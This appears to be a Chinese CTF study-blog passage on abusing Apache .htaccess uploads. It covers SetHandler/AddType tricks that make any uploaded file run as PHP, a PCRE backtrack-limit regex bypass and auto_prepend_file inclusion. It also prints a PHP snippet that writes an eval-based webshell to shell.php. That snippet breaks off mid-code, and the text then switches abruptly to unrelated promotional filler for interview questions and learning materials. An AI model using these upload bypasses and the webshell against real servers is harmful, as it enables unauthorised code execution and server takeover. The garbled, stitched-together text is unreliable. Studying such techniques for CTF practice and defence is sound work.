# Deny access to the entirety of your server's filesystem. You must # explicitly permit access to web content directories in other # <Directory> blocks below. # <Directory /> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted </Directory>
- 允许在httpd.conf外重写配置:
#LoadModule request_module modules/mod_request.so #LoadModule reqtimeout_module modules/mod_reqtimeout.so LoadModule rewrite_module modules/mod_rewrite.so <--这一个 #LoadModule sed_module modules/mod_sed.so #LoadModule session_module modules/mod_session.so
如果一个web应用允许上传htaccess文件并且允许重写,那就意味着可以更改apache的配置包括过滤操作,攻击想象面极大。
2. 常见用法
参考于[CTF].htaccess的使用技巧总结,由于是偏笔记类的博客,所以不给出太多的案例。
2.1. 自定义出错界面
使用htaccess创建自定义的出错界面,这也可以是一个URL,对于linux来说:
ErrorDocument 404 /path/to/your/error/pages/404.html ErrorDocument 500 /path/to/your/error/pages/500.html
但是对于windows来说我用这种方式不行,它会显示找不到我也不知道为什么,或者直接显示文件名(同一个目录),但是由于它可以是一个url所以我使用http协议,当然也可以使用目录穿越:
ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/error/error.php ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/../upload/error/error.php
2.2. 强制文件执行方式
ForceType application/x-httpd-php SetHandler application/x-httpd-php
这一种方式可以强制文件被哪一个解析器执行,尤其是利用修改后缀的木马文件。
AddHanlder application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddType application/x-httpd-php .xxx 同上AddHandler的作用
AddType和AddHanlder同理,但是一般能上传htaccess文件的一般直接使用SetHandler了
2.3. PCRE绕过正则匹配
PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
php_value pcre.backtrack_limit 0
简单总结一下,假如我们有一个php语句为<?php phpinfo();?>abcdef,不管什么文件后缀都会执行正则匹配
preg_match('/<\?.*[(`;?>].*/is', $data);
其中正则匹配循环到这两个.*已经匹配完所有字符了即到达abcdef的f,但是点星后面还有字符所以会进行回溯,重点就是这个回溯操作。回溯过程就是从f开始往前匹配,如果其中有匹配[(`;?>]的就结束,这个就是点星的匹配逻辑,如果没有回溯则点星就会匹配完<?php phpinfo()?>abcdef,而不满足原来则正则表达式,所以会返回false从而实现绕过。php设定了回溯最大次数,如果我们修改这个回溯次数为0,超过最大次数就会返回false(不是0也不是1,但是正常的匹配是会返回0或1的),可以实现绕过。
但是存在非贪婪模式的正则匹配,那可以输入大量的字符在/**/注释符中,使回溯次数超过限制。
解决方案就是,使用全等号来判断返回值。
2.4. php_value修改php设定
想要使用htaccess修改php的设定,需要有AllowOverride Options 或AllowOverride All 权限才可以。
php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。(注,这是原作上写的,我按照过程实践了一遍,value有值还是可以修改设定,先放着吧)
而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令(https://www.php.net/manual/zh/configuration.changes.modes.php)
而具体的类型的指令可以参考官方文档https://www.php.net/manual/zh/ini.list.php可以利用这个创建一句话木马,只要将写木马的代码以合法的后缀(啥都行,一个字母也行)传送到网站中即可。
php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容 php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容
<?php $new\_file\_name = "shell.php"; $shell\_content = '<?php @eval($\_POST[\'x\']);?>'; if (file\_put\_contents($new\_file\_name, $shell\_content) != false) {
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供: